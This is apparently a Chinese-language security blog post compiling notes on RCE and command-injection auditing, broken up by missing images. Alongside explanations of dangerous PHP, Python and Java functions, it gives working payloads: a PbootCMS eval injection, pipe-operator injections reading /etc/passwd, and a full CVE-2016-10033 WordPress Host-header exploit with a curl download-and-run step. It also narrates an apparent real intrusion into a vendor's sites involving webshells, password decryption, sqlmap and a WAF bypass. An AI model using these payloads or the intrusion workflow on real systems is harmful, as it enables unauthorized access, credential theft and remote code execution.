    现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。
     

     
 
    在这种平台上往往会出现远程系统命令执行的漏洞
     远程代码执行同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
     不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
     因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断， 比如实施严格的白名单策略会是一个比较好的方法。
     

     

      
 
    •  
      分为远程命令执行ping和远程代码执行evel
       
      • 
 
    •  
      CVE-2020-11975 Apache Unomi
       
      • 
 
    •  
      CVE-2021-2109 WebLogic LDAP
       
      • 
 
    •  
      IIS CVE-2015-1635
       
      • 
 
    •  
      CVE-2020-11800 zabbix
       
      • 
 
    • 

     

    命令注入Command Injection
     

     

    黑客通过利用HTML代码输入机制缺陷
     (例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。
     从而可以使用系统命令操作，实现使用远程数据来构造要执行的命令的操作。
     

    RCE 漏洞函数
     

    代码执行
     

      
 
    • php
      • 

     

    php里面可以执行命令的函数
     

    1、参数拼接方式皆有可能产生SQL注入（老生常谈）
     

    2、全局变量注册导致的变量覆盖
     

    3、fwrite参数未过滤导致的代码执行
     

    4、权限校验疏漏导致的后台功能访问
     

    5、接口任意文件上传
     

    6、unserialize反序列化漏洞
     

    
eval()
assert()
preg_replace()
call_user_func()
call_user_func_array()
array_map()


     

    命令注入执行
     

      
 
    • php
      • 

     

    执行外部的应用程序或函数：
     

    原型如下：
     

     string system(string command, int &return_var)
  command 要执行的命令； 
  return_var 存放执行命令的执行后的状态值。
  
  string exec (string command, array &output, int &return_var) 
  command 要执行的命令，
  output 获得执行命令输出的每一行字符串，
  return_var 存放执行命令后的状态值。
  
  void passthru (string command, int &return_var) 
  command 要执行的命令，
  return_var 存放执行命令后的状态值。
  
  string shell_exec (string command) 
  command 要执行的命令，

popen
passthru、proc_open

 

     

      
 
    • python
      • 

     

    
eval
exec 
subprocess 
os.system 
commands 



     

      
 
    • java
       没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数
      • 

     

    
反射机制，并且有各种基于反射机制的表达式引擎，如: OGNL、SpEL、MVEL等.


     

    示例
     

    pboot cms 存在RCE漏洞
     

    打开源码，搜索rce漏洞函数
     
     查看代码，发现大概率存在漏洞，看看参数是否可控
     
     

    追踪调用函数，查看是那个代码文件调用了eval函数

流程：搜索特定函数->parserIfLabel->parserCommom->About&Content

确认是谁调用之后，构造payload

在线留言处提交payload保存

payload：{
   pboot:if(eval($_POST[1]))}!!!{
   /pboot:if}

     

     

    然后来到管理员后台，开启留言
     
     回到在线留言页面，post传递参数
     
     参数值为要执行的代码，点击提交成功执行
     
     可以将参数值更改为命令执行函数，执行系统命令
     
     

    使远程服务器执行“whoami”的命令
     

    表示通过提交http://www.sectop/ex1.php?dir=| cat /etc/passwd操作，
     执行命令变成了system(“ls -al | cat /etc/passwd”)，
     输出/etc/passwd 文件的具体内容。
     

           //ex1.php 

      <?php

      $dir = $_GET["dir"]; 

      if (isset($dir)) 

      {
    

          echo ""; 

          system("ls -al ".$dir); 

         echo ""; 

      } 

      ?> 

     

     

    服务器配置：apache+php+Mysql；
     实验网址（http://10.1.1.11:81)
     

     


     程序获取GET参数ip，然后拼接到system（）函数中，利用system（）函数执行ping的功能，
     但是此处没有对参数ip进行过滤和检测，
     导致可以利用管道符执行其它的系统命令
     

    “|”在windows中的意思是：把前面的结果当成后面的输入，
     我们用ip=127.0.0.1|whoami来试一下
     
     后面的命令执行成功，得到我们的身份是system
     “&”在windows中的意思是：两条命令一起执行，先执行前面再执行后面，
     我们用ip=127.0.0.1&whoami来试一下
     原因是在ulr中，“&”是一个连接符号，会被转义成“%26”，
     那我们直接使用“%26”，它就会被转义成真正的“&”，
     所以我们不妨使用ip=127.0.0.1%26whoami再试一下“||”在windows中的意思是：当前面一个执行失败，则执行后面的，
     我们用ip=127.0.0.1||whoami来试一下
     这一次whoami命令并没有被执行，这是因为前面的命令可以执行，
     我们只要把前面的命令搞成不能执行的，让它自动执行下一条命令，
     根据前面提供的关键代码，我们知道只要传入了正常的ip地址，
     命令（ping）就会成功执行，所以我们试试把ip地址消除，
     用ip=||whoami来试一下
     

    #使远程服务器执行ipconfig命令
     

     

    preg_match() 函数用于进行正则表达式匹配，
     成功返回 1 ，否则返回 0 。
     preg_match() 匹配成功一次后就会停止匹配，
     如果要实现全部结果的匹配，则需使用 preg_match_all() 函数。
     

    header()函数的作用是：
     发送一个原始 HTTP 标头[Http Header]到客户端。
     标头 (header) 是服务器以 HTTP 协议传 HTML 资料到浏览器前所送出的字串，
     标头与 HTML 文件之间尚需空一行分隔。
     

    这段代码对ip地址进行了简单的过滤，如果它匹配到，它会执行下面system那条命令，
     如果它没有匹配到，它就无法执行下面那条命令（即ping），
     

    首先想到的思路就是让它发生错误，执行失败，
     使用双管道让它执行ipconfig，接下来我们用ip=127.||ipconfig试一下：
     使用单管道（ip=127.0.0.1|ipconfig）试一试：我们使用“%26”（ip=127.0.0.1%26ipconfig）试一试：
     

    我们可以通过ping命令返回结果中的TTL项查看服务器的操作系统：
     LINUX——64
     WIN2K/NT——128
     WINDOWS系列——32
     UNIX系列——255（前面为操作系统，后面为TTL值）
     通过ping返回结果，看TTL值与哪项最为接近，服务器就是哪个操作系统。TTL值为52，则它与64之间跨了12个路由，所以它的服务器应该是LINUX。
     

    接下来补充一些常用的管道符：
     

    Windows系统支持的管道符如下：
     

    “|”：直接执行后面的语句。
     “||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。
     “&”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。
     “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。
     

    Linux系统支持的管道符如下：
     

    “;”：执行完前面的语句再执行后面的语句。
     “|”：显示后面语句的执行结果。
     “||”：当前面的语句执行出错时，执行后面的语句。
     “&”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。
     “&&”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。
     

    Java代码审计
     

    注入
     

      
 
    • sql注入
      • 

     

    1、SQL注入漏洞简介

（1）SQL注入攻击是黑客利用SQL注入漏洞对数据库进行攻击的常用手段之一。
攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中，
网站应用程序未经过滤，便将恶意SQL语句带入数据库执行。

（2）SQL注入漏洞可能会造成服务器的数据库信息泄露、数据被窃取、网页被篡改，甚至可能会造成网站被挂马、服务器被远程控制、被安装后门等。

（3）SQL注入的分类较多，一般可笼统地分为数字型注入与字符串型注入两类；
当然，也可以更加详细地分为联合查找型注入、报错注入、时间盲注、布尔盲注等


2、SQL注入的条件
（1）输入用户可控。
（2）直接或间接拼入SQL语句执行。

3、审计方法
对于SQL注入漏洞审计，常见的方法是，

根据SELECT、UPDATE等SQL关键字或是

通过执行SQL语句定位到存在SQL语句的程序片段，随后通过查看SQL语句中

是否存在变量的引用并跟踪变量是否可控。

因SQL注入漏洞特征性较强，在实际的审计过程中我们往往可以通过一些自动化审计工具快速地发现这些可能存在安全问题的代码片段。如使用Fortify等自动化工具。




Java语言本身是一种强类型语言，
因此在寻找SQL注入漏洞的过程中，可以首先找到所有包含SQL语句的点，随后观察传参类型是否是String类型，只有当传参类型是String类型时我们才可能进行SQL注入。



     

    CodeQLpy - java
     

    seay
     

    fortify
     

    JAVA中执行SQL的几种方式
     

    （1）使用JDBC的java.sql.Statement执行SQL语句
Statement是Java JDBC下执行SQL语句的一种原生方式，执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤，将出现SQL注入漏洞

使用方法如下：

//注册驱动
Class.forName("oracle.jdbc.driver.0racleDriver")
//获取连接

Connection conn = DriverManager.getConnection(DBURL,DBUser,DBPassWord);
//创建 Statement 对象

Statement state = conn.createStatement);

//执行 SQL
String sql="SELECT*FROM user WHERE ";

state. executeQuery(sql);


（2）使用JDBC的java.sql.PreparedStatement执行SQL语句

https://mp.weixin.qq/s/jt5hQ5o-0EVjoVp9UJX2fA

     

    内存的基本概念
     

    差异备份 注入
     

    java基本语法
     

    代码审计
     


     
     

      
 
    • 漏洞挖掘 —— 代码审计
      • 

     

      
 
    1. 原理
       可控变量 功能函数
      2. 
 
    2. 原理 衍生 思路
      3. 
 
    3. 指定/随机 漏洞
       指定 -----> 寻找指定漏洞关键字 （函数，变量）
       随机 -----> 可控变量 （接受方式关键字 eg：$_SET ）
      4. 
 
    4. 工具 环境
       遍历文件 查找软件 （审计系统 ， 光速/闪电搜索）
        
  
        
   
      • 抓包
        • 
   
      • 数据库 监控 动作分析
        • 
  
       
      5. 

     

    实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla
     

      
 
    • 关键词 —> 目标源码
       主域名
       没有子域
      • 

     

      
 
    1. 信息收集
      2. 

     

     

      
 
    1. 中间件
       IIS 8.5
       
       输入admin发现自动添加了/ ------> 说明其目录存在，
       盲猜 文件，login.aspx default.aspx main.aspx 等等
       
       最终在login.aspx下面发现后台登录页面。
       猜弱口令 -----> 账号被锁
      2. 

     


     html代码中发现了某处信息
     
     author : 设计制作？
     根据后面的域名访问过去，是一个建站公司
     

    IIS8.5+ASP.NET+建站系统------> 扫一波备份文件:
     
     

    400多条ip这开发商还行
     使用FOFA查询工具，批量导出
     
     

    扫一下备份文件 ----->B哥的扫描器
     

     传送门 
     
     可以进行批量存活扫描和目录扫描 ------>在好几个站下面发现web.zip备份文件
     

    下载下来过后，对其目标站点文件进行了对比。基本一致
     

     

      
 
    • 拿到代码开始审计
      • 

     


     某接口处放下敏感操作 WebClient.DownloadFile (远程文件下载)
     

    该方法需要提供绝对路径----->跟踪相关参数
     另一个方法中调用了该方法
     

     

    并传入Server.MapPath，这根本不需要找绝对路径了系统都给你安排好了
     

    那么构造POC:
     

    ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***/

     

     

    访问地址:
     


     文件存在，那么证明可行
     回到目标地址:
     

     

    被修复了文件不存在
     继续回到代码中,审计其他漏洞在其他接口中，也均存在多个漏洞。
     如ueditor远程抓取漏洞
     


     文件重命名可Getshell
     
     这些接口都需要登录
     
     在一些无需登录的接口中尝试寻找SQL注入
     

    某处发现SQL拼接
     这里调用了IsSafeSqlString检测
     


     常见符号基本被卡的死死的
     

      
 
    • 拿下开发商寻找通用账号逆向加解密算法
      • 

     

    使用了相同的建站程序,怀疑有程序内置账户
     通过刚才审计出来的漏洞。
     从同程序的站点入手
     

    某个站点成功拿到Webshell
     

    相关信息
     


     居然是厂商的演示站群，存了该开发商所有站点源码。
     ---->
     应该是在开发过程中的演示环境吧站点有很多，估计每个客户都有。
     

    在服务器里翻到了目标站点的演示网站
     

     

    根目录下有zip网站备份和sql 数据库备份。
     如果说目标站点是直接搬迁过去的，那么后台账户密码应该是一样的。
     将其SQL文件下载下来。再其中搜索相关信息
     


     发现了插入账户的SQL语句。其密码是加密过的
     


     cmd5解不开，看了下密文是33位加密。
     但是登录过程中，密码是RSA加密过后传输的，而后端居然是33位的md5加密
     


     有源代码，追踪了一下登录了相关方法
     


     密码传入后，调用了CommFun.EnPwd进行了一次加密。
     追踪EnPwd方法
     


     可以看到，传入进来的密码是RSA类型，先进行了一次RSA解密，然后进行了一次DES加密。
     追踪DESEncrypt.Encrypt方法。
     


     这里是将Encrypt方法封装了一下，并传入加密key。
     其核心加密方法为下：
     


     并且，在该类里。还定义了解密方法
     


     得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了
     


     将得到加密字符进行解密，得到结果
     


     尝试登录
     

     

      
 
    • 柳暗花明拿下目标shell
       准备尝试绕过SQL过滤。
       就在这时候，我发现了一处SQL注入点。
      • 

     


     某方法接收了两个参数，却只对一个参数进行了过滤。
     在目标网站上测验
     


     存在注入，发现存在waf使用垃圾参数填充成功绕过waf
     


     直接上sqlmap安心的跑，得到系统账户以及密文
     


     将得到的密文进行解密，得到结果
     


     尝试登录
     


     经过之前的审计，发现了很多接口都存在漏洞，现在成功登录了。岂不是随便getshell
     

    直接ueditor带走
     

     

    CVE-2022-1388命令执行F5 BIG-IP iControl REST
     

    漏洞概述
     

    2022年5月6日，F5官方发布了BIG-IP iControl REST的风险通告，
     漏洞编号为CVE-2022-1388,漏洞等级为严重。
     

    F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。
     

    iControl REST是iControl框架的演变，使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。
     

    组件：F5 BIG-IP iControl REST
     漏洞类型：身份验证绕过
     影响：命令执行
     简述：该漏洞允许未经身份验证的攻击者通过管理口或自身ip地址对BIG-IP系统进行系统访问，以执行任 意系统命令，
     创建或删除文件以及禁用BIG-IP上的服务。
     

    漏洞验证
     

    版本：BIGIP-13.1.3.3-0.0.6
     需要到F5官方去进行账号注册后，要半天时间才能收到激活邮件，才能下载F5的镜像，然后需要用邮件中发送的激活码将F5激活。
     

    参考安装
     https://blog.csdn/weixin_37569048/article/details/100052755
     

    我这里选择的是低版本，
     系统用户账号密码：root/default，web密码：admin/admin。
     高版本激活比较复杂，还需要更改系统密码，web密码也有更改，在网上没找到。
     

    F5官网：F5官网
     https://www.f5/trials
     F5下载地址：下载
     https://login.f5/resource/login.jsp?ctx=719748
     

    banner
     

     

    访问 地址ip+/mgmt/shared/authn/login，如果返回中存在 resterrorresponse，则说明存在漏洞。
     

    php-RCE+Struts2拿webshell
     

    原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
     Cracer网络渗透全部教程
     

    普通权限 命令执行 拿 webshell
     


     
     
     
     

     

    CMD echo 写入一句话 php文件
     


     
     
     
     
     

    同级目录写入文件
     
     
     

    菜刀连接
     


     
     

    Struts2 拿 webshell
     


     
     
     

    Wordpress 4.6 PwnScriptum RCE命令执行
     

    目标介绍
     

    WordPress 是一种使用 PHP 语言开发的博客平台，
     用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。
     也可以把 WordPress 当作一个内容管理系统（CMS）来使用。
     

    WordPress有许多第三方开发的免费模板，安装方式简单易用。
     不过要做一个自己的模板，则需要你有一定的专业知识。
     比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
     WordPress官方支持中文版，同时有爱好者开发的第三方中文语言包，如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。
     

    漏洞来源
     

    历史漏洞CVE-2016-10033
     PHPMailer
     WordPress 使用 PHPMailer 组件向用户发送邮件。
     PHPMailer(版本 < 5.2.18)
     存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，
     造成远程命令执行的危害。
     

     
 
    CVE-2016-10033 https://paper.seebug/161/
     

     

    影响版本
     

    WordPress <= 4.6.0 PHPMailer < 5.2.18
     

    CVE-2016-10033 Vulhub靶场搭建
     

     编译及运行测试环境

docker-compose build
docker-compose up -d

     

    初始化管理员用户名和密码
     访问http://your-ip:8080/
     


     
     
     

    复现过程
     

    漏洞缺陷处在后台找回密码的地方
     密码重置界面/wp-login.php?action=lostpassword
     

    在找回密码时WordPress会使用PHPmailer发送重置密码的邮件，
     这个时候PHPmailer<=5.2.18时存在RCE。
     

     
 
    http://127.0.0.1:8080/wp-login.php?action=lostpassword
     

     


     登录页点击忘记密码，在用户名或电子邮件地址输入框输入aming（我注册时填的是aming）。
     点击获取新密码，使用burp拦截抓包。
     

    利用条件&问题注意点
     

     
 
    1.执行的命令不能包含一些特殊的字符，例如 :，'，"和管道符等。
     所以我们需要将待执行的命令放到第三方网站中
     然后通过curl -o /tmp/rce example/shell.sh的方法先将他下载到/tmp目录中，再去执行
     2.该命令将转换为小写字母
     3.命令需要使用绝对路径
     4.需要知道一个现有的用户名，这里是aming
     

     

    命令只在服务器端执行命令、不会显示在客户端
     

    解决办法
     

    1、payload中run{
   }里面所有 / 用 ${
   substr{
   0}{
   1}{
   $spool_directory}} 代替

2、payload中run{
   }里面所有 空格 用 ${
   substr{
   10}{
   1}{
   $tod_log}} 代替

Payload,在tmp处添加success文件
xxxxxx(any -froot@localhost -be ${
   run{
   /bin/touch /tmp/success}} null) 

target(any -froot@localhost -be ${
   run{
   ${
   substr{
   0}{
   1}{
   $spool_directory}}bin${
   substr{
   0}{
   1}{
   $spool_directory}}touch${
   substr{
   10}{
   1}{
   $tod_log}}${
   substr{
   0}{
   1}{
   $spool_directory}}tmp${
   substr{
   0}{
   1}{
   $spool_directory}}success}} null)

     

    修改请求头Host的值
     将Host的值完全修改为payload，不再包含IP地址
     

    POST /wp-login.php?action=lostpassword HTTP/1.1

Host: target(any -froot@localhost -be ${
   run{
   ${
   substr{
   0}{
   1}{
   $spool_directory}}bin${
   substr{
   0}{
   1}{
   $spool_directory}}touch${
   substr{
   10}{
   1}{
   $tod_log}}${
   substr{
   0}{
   1}{
   $spool_directory}}tmp${
   substr{
   0}{
   1}{
   $spool_directory}}success}} null)

Connection: close

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Accept: */*

Content-Length: 58

Content-Type: application/x-www-form-urlencoded



wp-submit=Get+New+Password&redirect_to=&user_login=aming



     

     

    ┌──(root
    继续浏览有关 的文章

    与本文相关的文章

    发布评论

    评论列表 (0)

    1. 暂无评论